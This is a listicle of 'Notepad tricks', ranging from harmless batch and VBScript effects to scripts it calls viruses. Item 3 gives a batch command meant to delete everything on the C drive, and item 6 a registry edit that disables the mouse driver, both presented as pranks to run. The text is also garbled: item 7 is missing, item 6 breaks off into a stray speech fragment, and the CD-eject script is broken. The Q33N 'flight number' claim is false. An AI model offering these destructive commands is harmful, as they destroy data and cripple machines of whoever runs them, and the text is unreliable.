1. World Trade Center Attack Trick

We'll start with a simple and well known trick. In fact, this isn't exactly a trick. The flight number for the plane that hit the World Trade Center on 9/11 was Q33N.

- Put the flight number of Notepad.
- Change font size to 72.
- Change font to Windings.

The result shows you an airplace, two identical tower like things and a skull and cross bones symbol. Coincidence?

2. Matrix Falling Code Effect

This is another well known trick. The green falling code in the Matrix movies can be emulated using Notepad. Here's how,

- Copy the code below to notepad.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

- Save this file with a .bat extension.
- Open the save file.

This will start the matrix falling code effect on your monitor.

3. Virus to format C Drive

This is a dangerous trick, so it should be used with caution. It actually does delete everything on your C drive.

- Copy the code below to Notepad.

@Echo off
Del C:\ *.* |y

4. Use Notepad as a personal log

You can use Notepad as a digital log for noting down your activities.

- Type .LOG in capital letters on Notepad.

Now when you open this file it will show you the current date and time and you can make notes accordingly.

5. Disco Keyboard LED lights

For this you will be creating a Visual Basic script on Notepad.

- Copy the following code onto Notepad.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

- Save this file with a .vbs extension.

When you open this file, your keyboard's LED lights for Caps Lock etc. should start blinking and dancing. To stop this, open task manager and stop the wscript.exe process.

6. Disable the mouse using a Notepad made virus

This is another dangerous trick so don't play around with it.

- First copy the code below to Notepad.

rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"

reg add %key% /v Start /t REG_DWORD /d 4

speech.Speak speaks

Now open the .vbs file that has been created and you will hear your computer blurt out a few words to you.

8. Eject CD Drive, Continuously

This is another visual basic script that can be run using Notepad. It ejects the CD drive on your computer and keeps ejecting it until you stop the script.

Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then

colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject

End If
wscript.sleep 5000
loop
